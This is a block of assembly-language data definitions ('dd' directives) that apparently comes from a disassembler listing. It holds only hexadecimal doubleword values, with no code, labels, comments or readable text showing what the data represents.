		dd 0FE475CB1h, 0DA09A135h, 83AE00E1h, 7B6D7721h, 20EB0726h
		dd 47E47BB8h, 71DC9347h, 0D6F88FC8h, 0FD364500h, 31C01E7Ah
		dd 0D24100E6h, 77A827CDh, 545E33FBh, 0B87B8CE8h, 73B20059h
		dd 3B2F96C8h, 375BA50h,	0D82E451Eh, 4A8500F9h, 54F1246Eh
		dd 34570913h, 7CC18E02h, 142CBBh, 9952CA84h, 0C48179h
		dd 8A619B65h, 0F8156FD1h, 7E2DCE30h, 11E97B4h, 0F2EEB3BBh
		dd 0E8BF9D24h, 2100B9D8h, 67023609h, 2706DD5h, 2003F464h
		dd 0F4D839BEh, 79722802h, 68A2CB2Ch, 0DBEFC8h, 0D49771DDh
		dd 6BC469CEh, 782F7703h, 0F0965970h, 7967BA14h,	0B473C0h
		dd 0A5122DA8h, 0F7EFC30Eh, 33687107h, 66B0D790h, 3B53C73h
		dd 8DA0C7C4h, 4598F0C5h, 0C6006421h, 91A89829h,	28265B2h
		dd 32DE0E2Bh, 26E0C9D1h, 0C703BB73h, 6A156B71h,	0B560A8E8h
		dd 0B4DE03E4h, 0A2F022Dh, 9DD6F6E0h, 28F9C201h,	0AEAACF17h
		dd 3167D886h, 3E01200Fh, 0B6F0C29Eh, 0B960E99Dh, 53A20E2Ch
		dd 1E92360Ah, 3C521E64h, 0BD9DEB87h, 31187ACh, 28122E80h
		dd 0D200F131h, 5CC31FFDh, 0F77C000Dh, 0AC7DCE63h, 0AD98EC57h
		dd 70AA5F03h, 711168Bh,	482C8039h, 0D0B0B4E8h, 73283474h
		dd 4C00BCAAh, 0C19DDE8Eh, 0B06EEA12h, 20A3100Fh, 0E5CC54Ch
		dd 3B43009Ch, 88A4C2ABh, 12B8DD9Dh, 0A8A25433h,	728EF8B6h
		dd 0C7E007CFh, 90A3380Dh, 46A60510h, 5DB7F917h,	0AFD9C80Fh
		dd 0FF1D6085h, 3C6EB44h, 0CA46C77h, 900469C9h, 972EE10Ah
		dd 0FCAAD8BCh, 0B2A00F9h, 1FF7DC8Bh, 1100B4D5h,	566E9106h
		dd 1C7566C7h, 9F41B23Dh, 0E31E7C15h, 0E8B1D7Ch,	3981037Dh
		dd 0E8890B63h, 8D3C1E48h, 0EAC5CAFh, 830658DEh,	0C02009C9h
		dd 93FEDDh, 465B64Dh, 0B5C9A47h, 6800DCF8h, 0AE43AF5h
		dd 1EC74311h, 45667E5Ah, 30B5079Dh, 422C0C58h, 0EEB610C0h
		dd 1544FD2h, 609A9190h,	0CEEB0A8Eh, 470C9C40h, 0DA984D03h
		dd 21F173B5h, 27086529h, 882B90A9h, 225944D9h, 81F11DCh
		dd 0E5E74544h, 0C367119Bh, 114E0311h, 0C112E670h, 92512882h
		dd 141CD725h, 1528E511h, 0BC442228h, 8F3C3B50h,	8409E444h
		dd 42BD4B22h, 141628AFh, 229FFD22h, 0C28397ADh,	0FD272911h
		dd 5308F121h, 84A790C6h, 0C548F34Eh, 0E8EEFF80h, 0E2366Fh
		dd 4F696377h, 448FD54Ah, 0C7C55A00h, 14B4A7B5h,	25451F9Eh
		dd 96AC097h, 43A6FEC3h,	0E3ECEF0Bh, 0F26403AFh,	84B5D0CDh
		dd 0E25C1E75h, 4595401Dh, 6DBDEF33h, 0F4909B00h, 0DC8AADFh
		dd 8EBA00DDh, 63B20A57h, 2201EA1Eh, 24B5190Ch, 35C48636h
		dd 0D7F80Eh, 88849A82h,	2793FD76h, 0F6EDAA00h, 4D2D10D1h
		dd 89A40025h, 0CDF049A3h, 5A70615Eh, 734D649h, 79ECF1D1h
		dd 24353820h, 0EBB907A6h, 70B1A79Eh, 0C415B8A4h, 0FCAE7326h
		dd 40962500h, 83414677h, 18B8A1C3h, 4F008358h, 0F35C676Ah
		dd 15BA9C7h, 3E6665F7h,	0D5F4F5AAh, 0E2888B91h,	0EB8A3F0h
		dd 64E08020h, 775F0075h, 865D85F8h, 0C9006954h,	0CCCAEF31h
		dd 7B8FC533h, 0C4BD0317h
		dd 4F7491BEh, 0A06740E0h, 3102A0B0h, 0B165EA1h,	43988F49h
		dd 0C89A978Fh, 6A244Dh,	0C470A57Bh, 0DD1C9DF9h,	9C000174h
		dd 110BBAEEh, 307314h, 461948F4h, 1589E70Eh, 6D6F100h
		dd 7EA3CEB8h, 586F698h,	0F4744C9Fh, 0B9C007Ch, 3A6BFCF3h
		dd 0F1BDE1Dh, 0F9363B40h, 8638A0h, 8BB1B3E9h, 199A20E0h
		dd 4E0793E2h, 0FAC71556h, 0E8F33711h, 228B3D8h,	0AC19F699h
		dd 0C408581h, 5E0079E6h, 4AB83F94h, 70A94620h, 12E400C6h
		dd 0C4D807D6h, 7A0742FFh, 47E99E5Fh, 7FDBBEF0h,	0DA72A3h
		dd 1C1ED557h, 3B389F07h, 5F96207h, 55D04AFCh, 788D11DFh
		dd 3DEC053Ah, 208E5B96h, 28E272C4h, 65080E1Fh, 6926B500h
		dd 121C4Bh, 0E53D2C3Bh,	55852F84h, 0ED27D501h, 0B82D96ADh
		dd 0DA860421h, 112C1C92h, 636FCD00h, 0E4D99384h, 2FDE0444h
		dd 80BB4CE2h, 2EBF752Ch, 0E11D8F25h, 84247924h,	0A4E900D8h
		dd 4AFD855Fh, 6C000711h, 8ED0103Dh, 740919h, 6F3F171h
		dd 76D82043h, 4184521Bh, 0D05ED310h, 2608F705h,	17E791h
		dd 6C04D592h, 94CD29Ch,	0D99000E7h, 0AD36207Ah,	10680048h
		dd 38A2CBCEh, 270003BCh, 93D902DBh, 372095h, 5470A6B5h
		dd 7891D1A4h, 99741500h, 0BB56D271h, 0F5ED070Ch, 90C1399Fh
		dd 57B7D94Ah, 0ABC29B00h, 362B7CE0h, 0F10A12B3h, 0FF300092h
		dd 0DA2818CEh, 0FBDF8100h, 96769B8Eh, 880E3A32h, 0C490A738h
		dd 87DB0079h, 0EE0ABBADh, 3DA001CBh, 7109260Ch,	4134244Fh
		dd 0B0F07B0Fh, 65E9618Ah, 4032465Dh, 0F8C9070Eh, 0F5603A2Eh
		dd 751AE9C5h, 308648h, 952E2AB6h, 1DE6593Fh, 8789A6h, 0B2E93B9Fh
		dd 73000316h, 0DBCECDEh, 1DAEF0Fh, 822A44C1h, 80834C3Ah
		dd 5E4B3406h, 7CB027h, 24221D41h, 0FFCF187Dh, 1EBC1248h
		dd 2686E5FBh, 3E101303h, 0DA0951A7h, 800B8ADh, 4AB45464h
		dd 0B3C88450h, 5C333012h, 1958E000h, 4FE1DA3Ah,	53A8D0A7h
		dd 7DEC7594h, 6CA4CCA0h, 0F005393Ah, 8A6DD900h,	3F5D4EF4h
		dd 33E90091h, 0CA1AD436h, 420390A4h, 20C088F2h,	0A3885010h
		dd 22F00029h, 67F3F4E6h, 0CE00A594h, 37CF3B88h,	1C855C2Dh
		dd 0C12F38DAh, 222C1848h, 3371CC28h, 0D8244B0Fh, 5E72C383h
		dd 755C800Eh, 0C8BE2D7h, 5A70671Dh, 0E200AB10h,	0EF1F3827h
		dd 24FEBE04h, 1F443565h, 81803B3Eh, 52F3767Eh, 95005692h
		dd 8762D82Bh, 28DE15h, 0D4FA3EBFh, 50A4C65Dh, 0B229EA07h
		dd 94C13A88h, 802BDA23h, 822B5C64h, 5102CC00h, 3FB73710h
		dd 87E839h, 0AB13E476h,	0E5BE0555h, 89368500h, 84D93B42h
		dd 0D4F6098Ah, 0C48F33DCh, 3C43C2E0h, 344C4ED0h, 5AA00769h
		dd 0CA7035DDh, 1190Dh, 23EEE286h, 4E32693Bh, 4B0095ECh
		dd 1543B23Ah, 0F8E0C0h,	773F0586h, 0AC42E525h, 0DE8B2709h
		dd 0AA2010B2h, 824505EBh, 195BD47h, 2641D3E4h, 860B7F52h
		dd 0A6418738h, 45DFA3E1h, 35506E82h, 0C402B89h,	84021342h
		dd 0CC3D7E3Ah, 0EBE8A00Fh, 41B915h, 8F587D44h, 5BCF98CAh
		dd 3E002276h, 0A8C19B10h, 268402h, 0C8133130h, 0DCB1CFFDh
		dd 3376B3Dh, 2EACDFD6h,	8B509F38h, 0DDE33h, 819E58D7h
		dd 0D0174FBDh, 8600F870h, 4152438Ch, 486AA4CCh,	9801B0C2h
		dd 0E7698B08h, 0CF5FF491h, 8063C038h, 6897CBEFh, 7FF4E3Bh
		dd 0CA5C2931h, 0D9A1AF02h, 0E87FB3D8h, 8C00FDAFh, 12A69FBAh
		dd 0D1D249h, 86AED5CFh,	7478EBB3h, 4FF8700Fh, 41112024h
		dd 299B530h, 3CFBEAF7h,	0DE60ADBDh, 1E01195Ch, 2EC0FE6Eh
		dd 0CBE09783h, 3E420F61h, 0AE00ACCFh, 9FE1C3F2h, 0CD0011EEh
		dd 0F21FC88h, 0F252747Ch, 4F2000CAh, 622CBC9Bh,	0B1F42F3Fh
		dd 8019053Dh, 0EA171C81h, 0E64002h, 0EC5529C1h,	7B902DA5h
		dd 56892800h, 3F135FB2h, 8C5E288Eh, 736A3BDDh, 43A16080h
		dd 0A4B788BEh, 0CE14B600h, 0C9703B0Eh, 1179002Ah, 778E962Bh
		dd 0D4036A88h, 5956F89h, 0EACAA880h, 2C4E00EFh,	6B73A46Ch
		dd 4C78666Eh, 6944E300h, 831C861Eh, 2BEB00BCh, 38B97CA7h
		dd 6700915Dh, 0A8E7578Dh, 66E0B7h, 7BBA5956h, 58839E47h
		dd 618A7800h, 5ED33F2Eh, 596B067h, 0EF681187h, 0BD5D806Ah
		dd 0A4007D76h, 71EAB3BCh, 0E62104Ah, 0F9FD0A51h, 0E100AF97h
		dd 585B80CDh, 554900B2h, 0F6074B0h, 400D7FDh, 0A8D4592Fh
		dd 3B0CE156h, 82824180h, 90AC9291h, 0D80D089h, 0E63C2053h
		dd 13C29D0Ah, 1C87CCB1h, 58702B7Fh, 0FA145E9h, 5E30BA41h
		dd 0B31BD340h, 62001F0Fh, 0DF0915C0h, 15A7ECD2h, 0D07F313Ah
		dd 745CA503h, 71B03B79h, 0ED019540h, 220D08E2h,	0D8506920h
		dd 0AAB646h, 0B4DC41Ah,	2EBB053Ah, 0F030D300h, 0BDCBE25Dh
		dd 0E3E60719h, 50A99CA0h, 0FC874F69h, 56383B00h, 26E88B8Fh
		dd 0FDDFA1Dh, 0D5F2AEFh, 7423AAE0h, 0FE00360Fh,	0CC04F262h
		dd 19AFD0h, 182C2587h, 33111F91h, 0E2EC7E00h, 0BC21AE2Ah
		dd 94A100AFh, 0E1251785h, 0F500A734h, 2229CBF3h, 0F8B405DCh
		dd 23380075h, 0AFB9896Ch, 0E8065928h, 54E94A6Ah, 55840F7Ah
		dd 72231Dh, 0D7628C0h, 6906F038h, 0D7C10B1Ch, 0CC901E88h
		dd 3D68803Fh, 0E65FF94Ch, 0CF8012B8h, 6E0B958Fh, 80AB7246h
		dd 0FBF41A1h, 0D04709E4h, 0C0207D81h, 0F3633A2Ah, 2795AB3Fh
		dd 97EF08Fh, 9C36E154h,	0EA00BC09h, 6556DFCFh, 3082D000h
		dd 5D1A02EFh, 84830398h, 0E0E8C5EAh, 0AFBDA800h, 0A9D6D121h
		dd 281EF01Ah, 0A0114Eh,	0F607F161h, 0D247677h, 0C77C0206h
		dd 3E38F593h, 6B054282h, 803366D3h, 0C8BCAF9Eh,	73F40A00h
		dd 68DFCC40h, 0E828FE56h, 0D6AE002Eh, 0BF79643h, 0A600BFA9h
		dd 0EE1D22FBh, 784FEh, 0EF98AE49h, 0CF0E3B2Eh, 0E599E900h
		dd 1AECF740h, 0A2DB00E1h, 5AA4BC88h, 0D4901016h, 0A7F94100h
		dd 555E71D2h, 0D5331C09h, 4072DF0Dh, 0A01417C7h, 23070265h
		dd 0D60F5273h, 0BD461320h, 0A57F0101h, 53D721EAh, 6299F4DAh
		dd 0F83EC100h, 6A3C0383h, 0A1F1CA4h, 949B80B4h,	0C48AB967h
		dd 71C5574Ch, 94CDD5Ch,	61A9A697h, 2822E1FDh, 0D850280Ah
		dd 427A00DFh, 9436A95h,	110E0126h, 36C74F03h, 3B28E978h
		dd 342088D1h, 0CE08299Eh, 0DC401C0h, 0D705019Dh, 4775CFC8h
		dd 50288F60h, 0E86D0F4Eh, 0C35E07E9h, 0C7CA5862h, 80FE07F5h
		dd 14AF9EE6h, 57BBAC00h, 0CBD7C888h, 3CDB4459h,	8C006978h
		dd 7F7D3204h, 210CF1h, 424F8E1Fh, 63BCD31Dh, 80033A02h
		dd 40956675h, 3F555956h, 7E00105Ah, 0FF6D0935h,	300A828h
		dd 962CABECh, 89C2E0h, 146F71C8h, 16B361FAh, 4DF2B200h
		dd 9497152Bh, 357A04E3h, 0C5DD1242h, 0A6DE004Ch, 793DC46Bh
		dd 4554700h, 7AB9DE4Bh,	9E4800B1h, 671EC8CEh, 6D0F19FDh
		dd 0A0A170AFh, 9F5068DEh, 0D9050F4Dh, 0D0611EC0h, 0F47CCA8Ah
		dd 79F207E3h, 935294A8h, 81054800h, 0CB34336Ch,	5665005Eh
		dd 18392177h, 0C7000A40h, 12A75303h, 0CDFD906h,	3D4676A4h
		dd 40096311h, 80D1EDD2h, 0F0F37475h, 0A5000D3h,	7CE21949h
		dd 9000AF89h, 0E43AF9ADh, 30AB97h, 47FD694Ah, 45FCB9BBh
		dd 0D8BFAE1Eh, 39ED5C80h, 0B52E3D36h, 3A894340h, 0DD585400h
		dd 0F51DFE7h, 0F29612A1h, 9DD04066h, 8E5A715h, 0A2B81100h
		dd 0D0328DCFh, 1DFF0013h, 0C753BFC5h, 4438E62Ch, 22C400BEh
		dd 15F5E516h, 0D0EC264Bh, 0F1CE0047h, 7DC3DCEBh, 0F2606C00h
		dd 0DE8EA2EDh
		dd 3B0116EEh, 4F0C00BCh, 0BEFA542Bh, 0BD00D498h, 0CAF59E4Eh
		dd 0F39190D3h, 1F490C70h, 921B9Bh, 0D6BBAFFCh, 48C28469h
		dd 0BDD714h, 8AEACD4h, 45269401h, 4E4C76F5h, 520860h, 2579C149h
		dd 0C4AF6A57h, 0C49C8648h, 3E00CF4Ch, 0DF7DE4EEh, 0D8776D2Ch
		dd 0B8396A1Eh, 0E77B8083h, 0A89AF0B0h, 66373B1Bh, 0C009E803h
		dd 80009646h, 2532D01h,	0CDFD51h, 0B7E2DA81h, 0A6FCC029h
		dd 0F2111900h, 70D4804Bh, 54BA0914h, 0EB00227Eh, 0BC41F38Fh
		dd 0E4516600h, 3C4C835Fh, 0A1F4002Eh, 25FACFD4h, 0FE002339h
		dd 0E8B73D21h, 28A556Bh, 0DFC9C60Bh, 80805924h,	0BE798997h
		dd 0B1DCA200h, 32568886h, 3257CB8h, 62277826h, 18BED309h
		dd 24360500h, 0F48B8A35h, 0A3410E44h, 1760030Fh, 8F30767h
		dd 5D068D00h, 0B3BE0BC5h, 0D95520B5h, 0A41E0D00h, 0E1903612h
		dd 96301274h, 191C09C2h, 915A4486h, 7342B300h, 9AFCC3C7h
		dd 168E03F0h, 60AF7DD3h, 6D820397h, 0CCF7BB80h,	30170F16h
		dd 3CC88400h, 7047173h,	0A61AA44Ch, 9F4BD1A7h, 0C67DFC22h
		dd 0C9062A00h, 5954E8A2h, 780D000Eh, 848979B9h,	0B7E507Ah
		dd 909CE630h, 302B8EBh,	0DF742614h, 0B388AE15h,	17F43BECh
		dd 4CFE791Ch, 7C400F52h, 0A57CE15Bh, 0E7222CD3h, 94058050h
		dd 5466C02Bh, 1832ED00h, 22047761h, 9E114C89h, 0E0C53800h
		dd 6E3583DAh, 6C851500h, 72580F06h, 55AB0770h, 342C26FDh
		dd 99DCD1E6h, 326981E2h, 7B564D22h, 1D4DDD0h, 4111ED4Eh
		dd 0D38DCA76h, 56C56BD0h, 0CE33E978h, 109A9AAh,	5D223D40h
		dd 0F186EF2Ch, 8CB1809Ah, 4EAAABB5h, 0D2931836h, 7461924h
		dd 50B35700h, 0B764ECCCh, 0B567166Ah, 46EC60C6h, 0CF18FAB8h
		dd 941817DAh, 0C67900EBh, 86F64BF8h, 0F24BDB7h,	0D04AC2Ah
		dd 3480DDEAh, 7D8DBB2h,	4EC7B026h, 92B51421h, 0C0A0D508h
		dd 0E06D661Dh, 0F3463606h, 739B01Ch, 8617E4F7h,	0E95C90F8h
		dd 0DD005AA6h, 160A0FBAh, 0EAD1CAB9h, 9EF86Ah, 518A47Dh
		dd 0FC92CD6Bh, 71001475h, 0BF50649h, 90276488h,	0FF44985Fh
		dd 3F6C0D8h, 71845F3Ch,	0C7A0EF46h, 6B0049EAh, 0BDB82850h
		dd 79D162Bh, 7F31FCAFh,	0C68340B1h, 4225EFB5h, 0B3C2E0DFh
		dd 0EE3FEEC2h, 0FC9639AEh, 216AD780h, 1C0A9D9Ch, 9AED0105h
		dd 3FC7376Bh, 6DE992F0h, 299F6EB9h, 0F7000DCBh,	0EC676BABh
		dd 37BAFA2Ch, 0BD80B837h, 4C83CF8Eh, 7C02E2h, 0A64E24C9h
		dd 6364879Ch, 0C412BFFAh, 0B80FC6DEh, 0B79C37Fh, 3775D0EEh
		dd 944358BBh, 188C0400h, 73579E81h, 0F60175Ch, 77ED823h
		dd 0CF507D52h, 1064Ah, 0FDA869DFh, 0D70F688Ch, 75F0EB00h
		dd 1A4377E8h, 7123037Ch, 3ABD950Eh, 57318FE8h, 51823Dh
		dd 567E6242h, 0EBB2D8Dh, 0C143F883h, 0B61BDA0h,	100EB4C9h
		dd 413CEFB9h, 641408AAh, 5183E0h, 12B61531h, 2195CE0Bh
		dd 0DD37800h, 0BBCA4AE4h, 51E8009Ah, 0AA73E084h, 5024D1F5h
		dd 0C4818042h, 9FE9BF37h, 2CE89040h, 98A9F4D2h,	9050090Fh
		dd 3423A672h, 2800B89Bh, 0EB767FD0h, 2DC846Ah, 0BC2DD57Ch
		dd 5C60F218h, 0E8009E41h, 4ABEE0F3h, 7D01F5D1h,	0CA170014h
		dd 0F0339505h, 0C49DEB7h, 0E14B07B4h, 843BAF2Bh, 7C90A027h
		dd 31CDD1h, 5D8E902Ch, 0EAA4CB57h, 0E5588B61h, 0B820D741h
		dd 0C7F2004Bh, 7DD512BDh, 63DA714h, 25E200F9h, 0E18E8670h
		dd 7C4459BAh, 607B448h,	13B0C947h, 0C6D398D2h, 41584801h
		dd 5F79E150h, 7C8081BBh, 0C566F88h, 63FAD453h, 7A81049h
		dd 9A472B37h, 0D5DBF3h,	15899640h, 648F3BAFh, 51CE9109h
		dd 43B4C0B7h, 0B3D707E2h, 60081DDCh, 0FFC9C1Ch,	18677300h
		dd 198CE090h, 0EFAC0824h, 0D0059BF3h, 0A840A107h, 65CD3A0h
		dd 11382631h, 0E080BA34h, 39D2882Dh, 262CAFDAh,	2803B0BBh
		dd 0C84C3160h, 0D337ACh, 0D40133C8h, 0EC940DC4h, 0B201DAF2h
		dd 0CE15D9E6h, 0F78703h, 34132538h, 0C3CFDDC2h,	0FF3EA703h
		dd 72A80E9h, 0C8FAE059h, 0E7072032h, 5925D0E4h,	7FFD81Ch
		dd 0D6A67EE8h, 5838D19Eh, 20A2E146h, 70FD218h, 8D9093h
		dd 0A87B7365h, 42342C3Fh, 0D0E41384h, 3B260B50h, 0AD475C00h
		dd 0C2134817h, 0E6BE00DBh, 0B3ACA9D0h, 59009315h, 1F7A1430h
		dd 5C73D711h, 0D200A0E0h, 0C0D03575h, 0A3004647h, 0E128CE07h
		dd 0E4E376Fh, 9BC5781Ch, 33305E80h, 8F00A7D8h, 87B3A265h
		dd 0FF79970h, 0B59D6D7Fh, 5ED66140h, 0FC005B04h, 9710712Ch
		dd 95421Eh, 0F55D54CFh,	862FF7B5h, 8B00FE77h, 0DD30C49Bh
		dd 6B020Eh, 0AD1BAF7Fh,	4B614AB6h, 7319D400h, 74C23589h
		dd 5DE87EC9h, 46009436h, 8D8E584Eh, 0E774CD60h,	73F4DC15h
		dd 0F376189Ch, 0B539AEh, 4C18FAF9h, 0D8E6A84Bh,	0B6659B00h
		dd 0FE4E76EDh, 0B0E800DAh, 0A1B37ACCh, 8F1046E0h, 2708217h
		dd 88F7A9FFh, 9CA1C9DDh, 830F43h, 12CC0A34h, 884DD03Bh
		dd 500A2A8h, 47DED2EDh,	7F35AE5Bh, 3BCD038Dh, 29CBE72Bh
		dd 20127FC8h, 0BAB50612h, 43C180Bh, 65C0AC80h, 124A80B9h
		dd 1F4D1186h, 2B4B8583h, 0B5ECC3F7h, 5ABC4FB0h,	0F92530Bh
		dd 73750080h, 690924h, 0F664110Dh, 0DDAE3E1Ah, 1ECBC002h
		dd 83E0347Eh, 0F041CAA4h, 1476068h, 0F1857502h,	0D849C846h
		dd 0C400BB2Ch, 0FDBA53CEh, 0F490CDh, 54710FC1h,	0C286C7D7h
		dd 0CF28FB03h, 0EA312DC4h, 22B480A3h, 1EC7E417h, 80B5721Dh
		dd 618E38ACh, 5F3ACC92h, 22588051h, 94961B01h, 0BE9807C9h
		dd 0E1640567h, 0DC352E2Bh, 30283F9h, 0F1CCC3E5h, 42272085h
		dd 0D31FC957h, 0C7928ED5h, 5C65DC40h, 988F548Ch, 0B6808024h
		dd 24CC00BBh, 61BED3A4h, 0F1488DB1h, 909A03FCh,	0E0786394h
		dd 3B96588Ch, 883FBBEBh, 0E6501E0Fh, 0C7B68205h, 0DB39F144h
		dd 0CFF0F87Eh, 0F7970F0Eh, 0EE2BA0D1h, 73D703FFh, 19D6A7h
		dd 8ECC2E01h, 5051555h,	0DF48BCEEh, 0F0BF8CC0h,	2E3079Ah
		dd 437FEAE9h, 48D842ABh, 0D230C9F1h, 5D5C1140h,	58BE1F82h
		dd 61DF07E3h, 7033A3E1h, 1157F1F7h, 360DC01Dh, 0FBC1960Fh
		dd 514024Eh, 0F24581Fh,	0B353BED2h, 9EB5160h, 2B00F1DBh
		dd 0F28DEFECh, 19318EDh, 0A3A0CD5Dh, 0F8C2ACB7h, 0C50025F8h
		dd 38697DFDh, 506F173h,	0A89276E1h, 0E3F0C049h,	6D03A4DBh
		dd 60D28145h, 0FAF00089h, 66F6CC08h, 0FC0664A5h, 0A27B44C6h
		dd 1A791C88h, 0FF8B4556h, 39718045h, 0A80E3437h, 0E004A095h
		dd 2A3D94E7h, 68170398h, 0B40B13F6h, 5A00D693h,	0D762BD19h
		dd 4F2B2Ah, 38D08951h, 0FB0D29C1h, 0CBB0ED00h, 690A7EEAh
		dd 0EC20504Ah, 0A84C0457h, 0B0555E61h, 14A5E16Ch, 989296BEh
		dd 0D0C64840h, 7475A9Eh, 9F6252BFh, 8742F22Dh, 0D7D572C0h
		dd 78001073h, 2E111980h, 1D7C1556h, 0C0689204h,	0EA5EA863h
		dd 0DCB8B525h, 393BC700h, 0ECE576D5h, 9F409F27h, 0F7136026h
		dd 7CC4C6EFh, 83404B1h,	0F1CE00DFh, 45B1A210h, 24003127h
		dd 39016D11h, 72DE165Dh, 227C006Eh, 0F8508A5Ah,	0A200C048h
		dd 0ECCE394Fh, 4C4EB9C4h, 8C0BC0F9h, 408771CCh,	0B10D5012h
		dd 832C3204h, 6D005150h, 0A7B879AFh, 0CD1D02B2h, 0DF8C679Bh
		dd 95F984A0h, 0CF0329A8h, 0DE85DB77h, 203BF7EEh, 7241819Ch
		dd 0AC3007Ch, 88E90DD0h, 60027B1Ch, 9DBEA08h, 14F079h
		dd 0AB1D0ABBh, 7D316F8Ah, 0AA85A500h, 0E1B54BCh, 440D00F0h
		dd 766C8469h
		dd 0C6902BF2h, 745D4100h, 0BF880B95h, 0B8180051h, 52C076FBh
		dd 0F00878Ah, 0D210DD72h, 53C9208h, 938C4583h, 1B77C015h
		dd 0C01F2988h, 0F400F2C5h, 0A274EDF7h, 0B1830399h, 80F3BC7Ch
		dd 0D64650A0h, 0E652AB02h, 0E01B6FC4h, 90F5494h, 7525E34Ah
		dd 145658Ah, 0D7C4D5F2h, 340BEDC3h, 0D1023B50h,	0A5CE75EEh
		dd 40DAD3h, 9C406C97h, 133033A4h, 3995750Bh, 7E8003A1h
		dd 53BDD00Eh, 3FB10B2Bh, 0C0C00650h, 0F93C1211h, 36799F55h
		dd 9D43B802h, 0BA7040E8h, 0EF3801DBh, 52687A21h, 61980D1h
		dd 129A5F97h, 0E7C00045h, 5BCDB1EEh, 7C0084D2h,	0B4A9AA03h
		dd 3DB61A4Bh, 0A0012B9h, 0D2140CF5h, 6200429Eh,	0E6B4724Dh
		dd 3E35A6Bh, 0CE111A13h, 88C14B7Fh, 73712002h, 850F85Dh
		dd 8017B2F0h, 0AB673605h, 7402EA93h, 99FEE797h,	4B7A60DCh
		dd 0C0E6D7h, 20F3D8BDh,	81215A43h, 0B68F730Fh, 9346A133h
		dd 0B85017DFh, 2411421Ch, 85EDE4h, 0BBA4BE77h, 1807841Dh
		dd 15C6D8Bh, 1903A600h,	853D00C6h, 0CA918A7Eh, 5E00662Ah
		dd 53351F24h, 3CDBC8EBh, 90A8EC3Dh, 67B602B8h, 94FB145Fh
		dd 3F5C2850h, 55DE1235h, 0C1D18D00h, 9693D4Eh, 4B035EFDh
		dd 81145800h, 22077FC6h, 0DDDE6B52h, 4B73473h, 54476240h
		dd 0F27AC055h, 0C800271Ch, 4B04D4AAh, 1168003h,	0E69B4347h
		dd 0C5703775h, 5FB6C4CFh, 64F17C00h, 69F7EE0Ah,	0C6DF00F8h
		dd 2FA0E7D8h, 750E343Dh, 0AB17BB5Eh, 0FFBB00E4h, 1F1550BCh
		dd 9B6E730h, 0C581C3DAh, 0E8990A54h, 0EF12CF62h, 9B9F7Fh
		dd 0AF329A00h, 0BC9FCA9Ch, 0F4D34907h, 7CE2D45Bh, 50FDC070h
		dd 1E3600C4h, 2B244A66h, 0D13AF3ABh, 97250398h,	0B81C65C9h
		dd 165CADh, 92453B40h, 35DE7A29h, 32F2A01h, 0AE5EF34Dh
		dd 0EAEA4F30h, 28BA07ADh, 94E1F9AAh, 3846C045h,	0CE009724h
		dd 0A33C6873h, 0C37E86h, 0A8D658F2h, 0FC7CDF18h, 6B01D900h
		dd 8172C963h, 2B7357h, 229C87E5h, 0DDB5130Ch, 177AD800h
		dd 84567CCCh, 6B91F62h,	0E5B38091h, 0D5DD2107h,	7B82C8C7h
		dd 0D0E37FF3h, 3F811FBh, 0E6A907F3h, 65C85C34h,	0A61B6103h
		dd 0C8214152h, 1D3608h,	1989D810h, 2514D3BBh, 1270DD00h
		dd 290AEA60h, 971358B9h, 28E6A800h, 9F7B1F1Ah, 697E910Fh
		dd 0B0DE4047h, 0C090C221h, 46D1C880h, 572F80Ch,	3F45530Eh
		dd 51968043h, 0B29344h,	0CC571897h, 0B450D855h,	0BA31CE00h
		dd 0F202956Bh, 1DC80AB7h, 9D0C259h, 67808D3Dh, 575817D6h
		dd 0D0FB300h, 0CA1536DDh, 7310782Ch, 4AEC00A2h,	0D6A0331Dh
		dd 7F0020B1h, 667DC38Ah, 1CDB850Ch, 0A6C99E80h,	87DD0051h
		dd 3C096905h, 0E3F0C700h, 9B3122D7h, 0B502846h,	0DE9400E8h
		dd 3B74F813h, 0CA00C99Ah, 22D6C1AEh, 0E5877C2h,	5E4BEF65h
		dd 8D8E8440h, 6700E26Bh, 9916FF9Bh, 18E836F4h, 0D84855FAh
		dd 54009642h, 0C7808BD4h, 0CC6E1E9h, 0A358FBE6h, 7A003D20h
		dd 0A60899D0h, 0A013B4BBh, 1DD65A80h, 81CEDC8Ah, 6F1ACF9Ah
		dd 0AA95F455h, 8600F3E8h, 17E72BFDh, 3E1FD3C6h,	2100D971h
		dd 2758DD04h, 4207F7B6h, 952D3B51h, 8C1D4890h, 32EC00B7h
		dd 0D0756A6h, 4F009B0Ah, 370499A0h, 40283Dh, 644E59E5h
		dd 6E8736EDh, 0C95A7600h, 3B9E173Ch, 3207016Ah,	1CD58E38h
		dd 2D91E4FFh, 2C83330Eh, 22C9C42Fh, 90419098h, 0F190A884h
		dd 324A0F63h, 944EFE51h, 469F71C0h, 3AF2EA92h, 59D3B400h
		dd 339CA48Eh, 7DD00ABh,	0D94E6CF5h, 7A0037C0h, 3039C994h
		dd 0E325A7h, 2762CBD3h,	0DB937582h, 0B1009BE6h,	0DD670A41h
		dd 1D219EA9h, 0DD7B7A07h, 0D0351852h, 0EF07E77Fh, 5FCFAC41h
		dd 0C123BEC0h, 0AF9AC019h, 60910DA4h, 0FD26CD00h, 3686AC5Ah
		dd 0BDCE006Ah, 0F48365B0h, 6900D86Bh, 0E9D46F6Eh, 1CB7BFh
		dd 18222B0Eh, 0E7931A45h, 9DE80A00h, 1BC87182h,	0F8F900E3h
		dd 63AFB8EDh, 0E6600D3Ah, 5DD23E76h, 0B40702DEh, 0DA24F287h
		dd 0AEE35460h, 0D038EA0Eh, 63340BAh, 0EE581663h, 3E520020h
		dd 7D30C6F2h, 4C9A7132h, 68008DFCh, 778072DBh, 30613BBDh
		dd 1680979Dh, 0BFF0D84Bh, 7E00E6B0h, 0E6DA4A11h, 0FE6B17F4h
		dd 69C500E3h, 2C79B595h, 30982901h, 23212501h, 0A2AF330Fh
		dd 3D0020B9h, 0DC7FFB70h, 3E0CB54Dh, 80DFF6B2h,	456A3498h
		dd 3280EF29h, 60828BCEh, 0F9012106h, 7700A841h,	0E44EE886h
		dd 4CBD4355h, 0BC009074h, 1388987h, 3E1D7362h, 0D25230C9h
		dd 7D44B800h, 50461210h, 86FD48DCh, 25DD7F00h, 439C7528h
		dd 22BB0E47h, 5E04E1FEh, 0F54007A1h, 0F179859Bh, 0C3C09C1Dh
		dd 0E3AED92Eh, 4AB900D1h, 0F7E67CE9h, 244E2FEAh, 4D00C0BCh
		dd 0FACC8F09h, 7918B64Eh, 27E13261h, 0A5DE0788h, 581B9493h
		dd 0CA54ED00h, 746D03Eh, 0E245622Bh, 749DA02Eh,	0C091C47h
		dd 25A1D6h, 0D83A76F8h,	0DC801C9h, 0D959FC60h, 0ED798852h
